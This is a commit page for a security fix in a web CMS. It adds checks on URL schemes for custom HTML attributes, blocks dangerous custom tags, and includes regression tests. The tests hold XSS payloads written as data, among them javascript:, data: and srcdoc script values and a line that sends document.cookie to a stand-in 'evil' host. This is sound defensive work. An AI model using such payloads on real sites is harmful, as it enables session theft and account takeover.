Skip to content

Commit c0087ec

Browse files
DavidBabinecclaude
andauthored
fix(security): scheme-check custom htmlAttributes + deny dangerous custom tags (CoreBunch#155)
Custom `htmlAttributes` on base.link/button/image/container/text nodes were name-filtered only (on*/class/style/reserved). `href`, `src`, `srcdoc`, `formaction`, `xlink:href`, … were permitted and their VALUES never scheme-checked, and the custom-tag escape hatch accepted `iframe`, `base`, `object`, `script`, … A low-privilege editor (`site.content.edit`, incl. the Client role) — or a merely-imported HTML file — could store: - `href="javascript:…"` shadowing a module's own checked href, or - an `<iframe srcdoc="<script>…">`, which executed for published-page visitors AND, critically, inside the admin editor canvas (these trusted modules render same-origin as /admin with no script-src CSP) when another admin opened the page → admin session/credential theft and privilege escalation. Fix at the single chokepoint every emit path already funnels through: - Add `sanitizeRenderableHtmlAttribute(name, value)` in `@core/htmlAttributes`: rejects non-renderable names, the raw-HTML sink `srcdoc`, and any value with a dangerous URL scheme (javascript:/vbscript:/data:, via the existing `isSafeUrl`). Value-level scheme checking covers every URL attribute without enumerating them; ordinary text values pass unchanged. - Route all four emit/collect paths through it: the shared publisher/canvas normaliser (`normalizeHtmlAttributes`), the `<body>` emit (`bodyHtmlAttributes`), and the HTML-import harvest (`collectHtmlAttributes`). - Deny dangerous elements in the custom-tag escape hatch (`resolveHtmlTag`): script/iframe/frame/frameset/object/embed/applet/base/link/meta/style → coerced to `div`. `base.video` emits its own trusted <iframe> via its module `htmlTag`, not this resolver, so video embeds are unaffected. Tests: new `htmlAttributesXss.test.ts` proves srcdoc/javascript:/data:/vbscript: values and dangerous custom tags are dropped while safe attributes/URLs/tags pass; the publisher emit is verified end-to-end. Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
1 parent afc7dee commit c0087ec

7 files changed

Lines changed: 154 additions & 11 deletions

File tree

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
/**
2+
* Security regression tests: stored XSS via custom `htmlAttributes` + the
3+
* custom-tag escape hatch.
4+
*
5+
* The custom-HTML-attributes feature let an author attach arbitrary attribute
6+
* name/value pairs to base.link/button/image/container/text nodes. The name
7+
* allowlist blocked only event handlers, class, style, and reserved names, so
8+
* `href`, `srcdoc`, `formaction`, … were permitted and their values never
9+
* scheme-checked. Combined with the custom-tag escape hatch (which accepted
10+
* `iframe`, `base`, …), a low-privilege editor could store:
11+
* - `href="javascript:…"` (shadowing a module's own checked href), or
12+
* - an `<iframe srcdoc="<script>…">`,
13+
* which then executed for published-page visitors AND — because the admin
14+
* canvas renders these trusted modules same-origin as /admin with no
15+
* script-src CSP — in the admin origin when another admin opened the page
16+
* (session/credential theft, privilege escalation).
17+
*
18+
* These tests prove the single shared gate and the tag denylist close it.
19+
*/
20+
import { describe, expect, it } from 'bun:test'
21+
import {
22+
isRenderableHtmlAttributeName,
23+
sanitizeRenderableHtmlAttribute,
24+
} from '@core/htmlAttributes'
25+
import { htmlAttributesAttr } from '@modules/base/shared/htmlAttributes'
26+
import { resolveHtmlTag } from '@modules/base/utils/htmlTag'
27+
28+
describe('sanitizeRenderableHtmlAttribute — the shared custom-attribute gate', () => {
29+
it('drops srcdoc (raw-HTML iframe sink)', () => {
30+
expect(isRenderableHtmlAttributeName('srcdoc')).toBe(false)
31+
expect(sanitizeRenderableHtmlAttribute('srcdoc', '<script>alert(1)</script>')).toBeNull()
32+
})
33+
34+
it('drops URL-bearing attributes carrying a dangerous scheme', () => {
35+
expect(sanitizeRenderableHtmlAttribute('href', 'javascript:alert(document.cookie)')).toBeNull()
36+
expect(sanitizeRenderableHtmlAttribute('href', 'JavaScript:alert(1)')).toBeNull()
37+
// browser tab/newline URL normalisation is applied before the scheme test
38+
expect(sanitizeRenderableHtmlAttribute('href', 'java\tscript:alert(1)')).toBeNull()
39+
expect(sanitizeRenderableHtmlAttribute('src', 'data:text/html,<script>alert(1)</script>')).toBeNull()
40+
expect(sanitizeRenderableHtmlAttribute('formaction', 'vbscript:msgbox(1)')).toBeNull()
41+
expect(sanitizeRenderableHtmlAttribute('xlink:href', 'javascript:alert(1)')).toBeNull()
42+
})
43+
44+
it('drops event handlers, class, and style', () => {
45+
expect(sanitizeRenderableHtmlAttribute('onclick', 'steal()')).toBeNull()
46+
expect(sanitizeRenderableHtmlAttribute('class', 'x')).toBeNull()
47+
expect(sanitizeRenderableHtmlAttribute('style', 'x')).toBeNull()
48+
})
49+
50+
it('keeps ordinary attributes and safe URLs unchanged', () => {
51+
expect(sanitizeRenderableHtmlAttribute('title', 'Hello world')).toBe('Hello world')
52+
expect(sanitizeRenderableHtmlAttribute('aria-label', 'Close')).toBe('Close')
53+
expect(sanitizeRenderableHtmlAttribute('data-foo', 'bar')).toBe('bar')
54+
expect(sanitizeRenderableHtmlAttribute('href', 'https://example.com/page')).toBe('https://example.com/page')
55+
expect(sanitizeRenderableHtmlAttribute('href', '/relative/path')).toBe('/relative/path')
56+
})
57+
})
58+
59+
describe('htmlAttributesAttr — publisher string emit funnels through the gate', () => {
60+
it('emits only the safe attribute, dropping javascript: href and srcdoc', () => {
61+
const out = htmlAttributesAttr({
62+
href: 'javascript:fetch("//evil/?c="+document.cookie)',
63+
srcdoc: '<script>alert(document.domain)</script>',
64+
title: 'ok',
65+
})
66+
expect(out).toBe(' title="ok"')
67+
})
68+
})
69+
70+
describe('resolveHtmlTag — custom-tag escape hatch rejects dangerous elements', () => {
71+
it.each(['iframe', 'script', 'object', 'embed', 'base', 'link', 'meta', 'style', 'frame', 'frameset', 'applet'])(
72+
'coerces a dangerous custom tag to div: %s',
73+
(tag) => {
74+
expect(resolveHtmlTag('custom', tag)).toBe('div')
75+
expect(resolveHtmlTag('custom', tag.toUpperCase())).toBe('div')
76+
},
77+
)
78+
79+
it('still allows benign custom tags and built-ins', () => {
80+
expect(resolveHtmlTag('custom', 'aside')).toBe('aside')
81+
expect(resolveHtmlTag('custom', 'figure')).toBe('figure')
82+
expect(resolveHtmlTag('custom', 'my-widget')).toBe('my-widget')
83+
expect(resolveHtmlTag('section', undefined)).toBe('section')
84+
})
85+
})

src/core/htmlAttributes/attributes.ts

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
import { isSafeUrl } from '@core/html-sanitize'
2+
13
const HTML_ATTRIBUTE_NAME_RE = /^[a-z][a-z0-9_.:-]*$/i
24
const RESERVED_DATA_PREFIX_RE = /^data-(instatic|canvas)-/i
35
const RESERVED_DATA_NAMES = new Set([
@@ -7,6 +9,16 @@ const RESERVED_DATA_NAMES = new Set([
79
])
810
const RESERVED_HTML_ATTRIBUTE_NAMES = new Set(['class', 'style'])
911

12+
/**
13+
* Attribute names that inject a raw HTML document / script and therefore cannot
14+
* be made safe by a URL-scheme check: `srcdoc` runs its value as an `<iframe>`
15+
* document, executing any `<script>` inside it on load. URL-bearing attributes
16+
* (`href`, `src`, `formaction`, `xlink:href`, …) are handled by the
17+
* value-level `isSafeUrl` check in `sanitizeRenderableHtmlAttribute` instead of
18+
* a name denylist, so new URL attributes are covered without enumerating them.
19+
*/
20+
const RAW_HTML_SINK_ATTRIBUTE_NAMES = new Set(['srcdoc'])
21+
1022
export function normalizeHtmlAttributeName(name: string): string {
1123
return name.trim().toLowerCase()
1224
}
@@ -25,7 +37,32 @@ export function isRenderableHtmlAttributeName(name: string): boolean {
2537
return (
2638
HTML_ATTRIBUTE_NAME_RE.test(normalised) &&
2739
!RESERVED_HTML_ATTRIBUTE_NAMES.has(normalised) &&
40+
!RAW_HTML_SINK_ATTRIBUTE_NAMES.has(normalised) &&
2841
!isEventHandlerAttributeName(normalised) &&
2942
!isReservedRuntimeDataAttributeName(normalised)
3043
)
3144
}
45+
46+
/**
47+
* The single security gate every custom-`htmlAttributes` emit path funnels
48+
* through — the publisher string emit (`htmlAttributesAttr`), the admin-canvas
49+
* React props (`htmlAttributesForReact`), the `<body>` emit
50+
* (`bodyHtmlAttributes`), and the HTML-import harvest (`collectHtmlAttributes`).
51+
*
52+
* Returns the value to render, or `null` to drop the attribute entirely. Drops:
53+
* - non-renderable / event-handler / reserved / raw-HTML-sink names
54+
* (via `isRenderableHtmlAttributeName`);
55+
* - values carrying a dangerous URL scheme — `javascript:` / `vbscript:` /
56+
* `data:` (via `isSafeUrl`). This blocks e.g. a custom
57+
* `href="javascript:…"` that would otherwise shadow a module's own checked
58+
* href and execute in the page — on the published site AND, more
59+
* seriously, inside the admin editor canvas (same-origin as `/admin`).
60+
*
61+
* `isSafeUrl` returns true for ordinary non-URL text, so plain attribute values
62+
* (titles, ARIA labels, `viewBox`, …) pass through unchanged.
63+
*/
64+
export function sanitizeRenderableHtmlAttribute(name: string, value: string): string | null {
65+
if (!isRenderableHtmlAttributeName(name)) return null
66+
if (!isSafeUrl(value)) return null
67+
return value
68+
}

src/core/htmlAttributes/index.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,5 @@ export {
33
isRenderableHtmlAttributeName,
44
isReservedRuntimeDataAttributeName,
55
normalizeHtmlAttributeName,
6+
sanitizeRenderableHtmlAttribute,
67
} from './attributes'

src/core/htmlImport/walkAndMap.ts

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,8 @@ import type { PageNode } from '@core/page-tree'
3737
import { createNode } from '@core/page-tree'
3838
import { registry } from '@core/module-engine'
3939
import {
40-
isRenderableHtmlAttributeName,
4140
normalizeHtmlAttributeName,
41+
sanitizeRenderableHtmlAttribute,
4242
} from '@core/htmlAttributes'
4343
import { HTML_TO_MODULE_RULES } from './rules'
4444
import type { ImportRule } from './rules'
@@ -153,8 +153,9 @@ function collectHtmlAttributes(el: Element, moduleId?: string): Record<string, s
153153
for (const attr of Array.from(el.attributes)) {
154154
const name = normalizeHtmlAttributeName(attr.name)
155155
if (generatedNames.has(name)) continue
156-
if (!isRenderableHtmlAttributeName(name)) continue
157-
attrs[name] = attr.value
156+
const safeValue = sanitizeRenderableHtmlAttribute(name, attr.value)
157+
if (safeValue === null) continue
158+
attrs[name] = safeValue
158159
}
159160
return attrs
160161
}

src/core/publisher/render.ts

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,8 +26,8 @@ import type { TemplateRenderDataContext } from '@core/templates/dynamicBindings'
2626
import { buildPageFrame, buildSiteFrame, buildRouteFrame } from '@core/templates/contextFrames'
2727
import { classNamesForClassIds } from '@core/page-tree'
2828
import {
29-
isRenderableHtmlAttributeName,
3029
normalizeHtmlAttributeName,
30+
sanitizeRenderableHtmlAttribute,
3131
} from '@core/htmlAttributes'
3232
import { bagToInlineStyle } from './classCss'
3333
import { collectClassCSS, sanitizeModuleCSS } from './cssCollector'
@@ -281,9 +281,11 @@ function bodyHtmlAttributes(value: unknown): string {
281281
return Object.entries(value)
282282
.toSorted(([a], [b]) => a.localeCompare(b))
283283
.map(([rawName, rawValue]) => {
284+
if (typeof rawValue !== 'string') return ''
284285
const name = normalizeHtmlAttributeName(rawName)
285-
if (!isRenderableHtmlAttributeName(name) || typeof rawValue !== 'string') return ''
286-
return ` ${name}="${escapeHtml(rawValue)}"`
286+
const safeValue = sanitizeRenderableHtmlAttribute(name, rawValue)
287+
if (safeValue === null) return ''
288+
return ` ${name}="${escapeHtml(safeValue)}"`
287289
})
288290
.join('')
289291
}

src/modules/base/shared/htmlAttributes.ts

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import type { PropertyControl } from '@core/module-engine'
22
import {
3-
isRenderableHtmlAttributeName,
43
normalizeHtmlAttributeName,
4+
sanitizeRenderableHtmlAttribute,
55
} from '@core/htmlAttributes'
66
import { escapeHtml } from '@modules/base/utils/escape'
77

@@ -21,10 +21,11 @@ function normalizeHtmlAttributes(value: unknown): Record<string, string> {
2121

2222
const attrs: Record<string, string> = {}
2323
for (const [rawName, rawValue] of Object.entries(value as Record<string, unknown>)) {
24-
const name = normalizeHtmlAttributeName(rawName)
25-
if (!isRenderableHtmlAttributeName(name)) continue
2624
if (typeof rawValue !== 'string') continue
27-
attrs[name] = rawValue
25+
const name = normalizeHtmlAttributeName(rawName)
26+
const safeValue = sanitizeRenderableHtmlAttribute(name, rawValue)
27+
if (safeValue === null) continue
28+
attrs[name] = safeValue
2829
}
2930
return attrs
3031
}

src/modules/base/utils/htmlTag.ts

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,20 @@ const BUILTIN_HTML_TAG_SET: ReadonlySet<string> = new Set(BUILTIN_HTML_TAGS)
6060
/** HTML element names: ASCII letter, then letters/digits/hyphens. 1–32 chars. */
6161
const CUSTOM_TAG_PATTERN = /^[a-z][a-z0-9-]{0,31}$/i
6262

63+
/**
64+
* Elements that must never be produced from the free-form custom-tag escape
65+
* hatch — they execute script, load external/plugin resources, or hijack the
66+
* document's base URL, and would run in the published page AND the admin editor
67+
* canvas (which renders these trusted modules directly, same-origin as
68+
* `/admin`). `base.video` emits its own trusted `<iframe>` via its module
69+
* `htmlTag`, not this resolver, so blocking `iframe` here does not affect video
70+
* embeds — it only stops a container/loop/outlet author typing a dangerous tag.
71+
*/
72+
const FORBIDDEN_CUSTOM_HTML_TAGS: ReadonlySet<string> = new Set([
73+
'script', 'iframe', 'frame', 'frameset', 'object', 'embed',
74+
'applet', 'base', 'link', 'meta', 'style',
75+
])
76+
6377
/**
6478
* Resolve the tag a module should render given its `tag` + `customTag` props.
6579
*
@@ -74,7 +88,9 @@ export function resolveHtmlTag(tag: unknown, customTag: unknown): string {
7488
if (typeof customTag !== 'string') return 'div'
7589
const trimmed = customTag.trim()
7690
if (!CUSTOM_TAG_PATTERN.test(trimmed)) return 'div'
77-
return trimmed.toLowerCase()
91+
const lower = trimmed.toLowerCase()
92+
if (FORBIDDEN_CUSTOM_HTML_TAGS.has(lower)) return 'div'
93+
return lower
7894
}
7995
if (BUILTIN_HTML_TAG_SET.has(tag)) return tag.toLowerCase()
8096
return 'div'

0 commit comments

Comments
 (0)